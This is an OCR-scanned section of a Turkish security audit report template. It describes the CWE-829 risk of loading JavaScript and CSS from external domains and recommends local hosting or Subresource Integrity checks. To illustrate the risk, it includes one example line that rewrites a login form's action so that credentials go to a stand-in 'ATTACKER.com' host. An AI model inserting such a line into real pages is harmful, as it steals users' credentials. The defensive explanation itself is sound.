1.1.1  Acik Bir Sekilde Alan Adi Kullaniimasi (Client Hardcoded Domain) (CWE-829)
Aciklik Onem Derecesi: Diisiik

Acikhgin Etkisi: Web uygulama glvenligini G¢lincu taraf web sunucularin givenligine

bagimli kilma

Acikhgin Barindiran Dosyalar/Satirlar:

Proje Dosyasi/Dosya Adi \ Satir Numarasi

Acikhigin Agiklamasi:

Javascript / CSS dosyalari HTML igerisine géomulirken uzak alan adlarindan (yani external
domain’lerden) dinamik olarak c¢ekilerek kullanilabilmektedir. Bu sekilde kullanimlarda
javascript / css kodlari icin uzak bir web sunucuya glivenme uygulama gulvenligini azaltabilir.
CunkU uygulama kullanicilari sadece bu javascript / css dosyalarini sunan uzak web sunucu

kadar glivendedirler.

Web uygulamalara harici bir alan adindan javascript / css dosyasi eklemek web uygulamayi
saldirilara karsi acik hale getirebilir. ClUnki eger harici alan adindaki web sunucunun
guvenligi ihlal olursa, harici alan adindaki web sunucuyla olan iletisimde araya girilirse veya
harici alan adindaki web sunucunun kendisi glvenilir degil ise bu durumda harici alan
adindaki javascript / css dosyasinin igerigi zararl kodlar icerecek sekilde degistirilebilir. Bu
durumda da javascript dosyasini dahil eden uygulama XSS saldirilarina ve Open Redirect
saldirilarina karsi agik hale gelebilir veya css dosyasini dahil eden uygulama araylz tahrif

(defacement) saldirilarina kargi agik hale gelebilir.

Bir uygulama javascript / css dosyalarini uzak bir web sunucudan glivensiz sekilde aldiginda
“‘Acik Bir Sekilde Alan Adi Kullaniimasi” (CWE-829) acikhgi seklinde isaretlenir. Harici alan

adlarindan javascript / css dosyasi kullanmaya su érnek verilebilir.

Aciklikli X Web Sayfasi:

script src="https://example.com/scripts/jquery.js"

link rel="stylesheet" href="https://example.com/css/xyz.min.css"

Bu Ornekte harici alan adindan kutuphanelerin nasil glvensizce projeye dahil edildigi

gosterilmistir. Bu glvensiz kullanimin nasil bir tehlike dogurabilecegine su 6rnek verilebilir:



Aciklikli X Web Sayfasi:

class="header">Hosgeldiniz!
id="loginBox">Liutfen Oturum A¢in:
id ="loginForm" name="loginForm" action="login.php"

method="post"
Username: type="text" name="username"

Password: type="password" name="password"
type="submit" value="Login"

id="javascriptKutuphanesi"
type="text/javascript"
src="example.com/javascriptKutuphanesi.js"

javascriptKutuphanesi.js Dosyasi: // Harici Alan Adindaki JS

...Javascript Kutuphane Kodlari....

document.getElementById('loginForm').action =
"ATTACKER.com/stealPassword.php";

Bu ornekte aciklikli web uygulama sayfasi harici alan adindaki bir web sunucudan glvensiz
bir sekilde javascript dosyasi dahil etmektedir. Varsayalim ki harici alan adindaki web
sunucunun guvenligi ihlal edildi ve saldirgan bu web sunucudaki javascript dosyasina yesil
bolgedeki satiri ekledi. Bu durumda agiklikli web uygulama javascript kutiphanesini dahil
ederken artik bu zararli kod satiri da geleceginden bu zararli kod satiri da c¢alisacaktir.
Zararli kod satirinin galistigi agiklikli web uygulama sayfasinda - bu érnek icin login web
sayfasinda - oturum agmaya calisan kullanicilar sayfadaki <form’un action 6zelligi zararl kod
satiri ile manipule oldugundan oturum acarken kullandiklari kullanici hesap bilgilerini agiklikh
web uygulamanin sunucusu yerine saldirganin web sunucusuna POST ile gondereceklerdir.
Bu sekilde saldirgan girilen kullanici hesaplarini log’layarak (kayit altina alarak) kullanici

hesaplarini ele gecirebilecektir.



Kurum web uygulamasinda uzak web sunucularin glvenligine bagimlilik tespit edilmistir. Bu
durum Sekil XXX. ABCDEF’de gdsterilmistir.

Agikhgin Onlemi:
Bu aciklik iki tarlG sekilde 6nlenebilir.

o Uzak web sunuculardan cekilen kitiphaneler yerele tasinarak
e Uzak web sunuculardan cekilen kitliphanelere SRI (Subresource Integrity) butlnlik

kontrolU uygulayarak

Uzak web sunuculardan cekilen kitiiphaneler yerele gekilerek kullanilabilir. Orn;

// GUVENLI

src=" sample.js"
rel="stylesheet" href=" sample.css"

Burada dikkat edilirse kaynaklar https:// ile uzak bir sunucudan getirtiimemektedir. Yerelden
getirtiimektedir. Bu kullanimda periyodik olarak yerelde barinan katiphanelerin

glincellemeleri takip edilmelidir ve uygulanmalidir.

Bir diger 6nlem ydntemi olarak uzak web sunuculardan cgekilen kitliphanelere butinlik

kontrolii uygulanabilir. Orn;

// GUVENLI
="sha384-JS_HASH VALUE" ="anonymous"
src="https://sample.com/sample.js"

="sha384-CSS_HASH VALUE" ="anonymous"
rel="stylesheet" href="https://sample.com/sample.css"

Burada ise dikkat edilirse kaynaklar uzak sunucudan gekilirken integrity ve crossorigin

attribute’lari (6zellikleri) ile denetime tabi tutulmaktadir.
Bu iki ydbntemden herhangi biriyle dahil edilecek kutliphaneler gtivenle kullanilabilir.
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